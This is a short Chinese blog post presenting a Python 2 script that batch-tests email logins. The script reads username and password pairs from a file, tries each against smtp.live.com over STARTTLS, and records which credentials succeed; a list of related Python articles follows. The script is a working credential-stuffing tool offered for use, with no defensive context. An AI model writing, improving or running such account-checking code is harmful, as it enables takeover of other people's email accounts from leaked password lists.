批量测试邮箱登录python脚本
2016-01-05 12:16
691 查看
---恢复内容开始---
#!/usr/bin/env python #-*- coding:utf-8 -*- import smtplib import sys import time import threading class Mythread(threading.Thread): def __init__(self,username,pwd): threading.Thread.__init__(self) self.username = username self.pwd = pwd def run(self): try: server = "smtp.live.com" fp = open(self.username) fp1 = open(self.pwd,'w') except Exception, Error1: print "Files fopen Error" for line in fp.readlines(): lines = line.split(' ') uname = lines[0] password = lines[1] password = password.split('\n')[0] smtp = smtplib.SMTP(server,587) try: smtp.ehlo() smtp.starttls() smtp.ehlo() #smtp.login.SSL(uname,password) 如果启用了SSL,解开这句 smtp.login(uname,password) except Exception, LoginError: print "[-]:%s : %s" % (uname,password) time.sleep(1) else: out = "[+]:%s : %s" % (uname,password) print out fp1.write(out) fp1.flush() if __name__ == '__main__': Mythread(sys.argv[1],sys.argv[2]).start()
相关文章推荐
- Python 格式化字符串的三种方法
- Python聊天室实例程序分享
- 如何开始使用PyCharm,并拥有一个高效的Python IDE
- PYTHON压平嵌套列表
- 自己python程序的并行修改
- Python代码优化:第二部分
- Python实现邮件发送
- 12. Integer to Roman python leetcode 2016 new Season
- 新闻信息检索(一)
- Python编程(三):Python之MVC
- 11. Container With Most Water leetcode Python 2016 new Season
- python 定义给定初值或长度的list
- 转载python并行运算实例
- python bool值要注意的一些地方
- python安装集成包
- Json概述以及python对json的相关操作
- python脚本发送报警邮件
- python 十进制 十六进制
- python 时间格式化
- Python格式化时间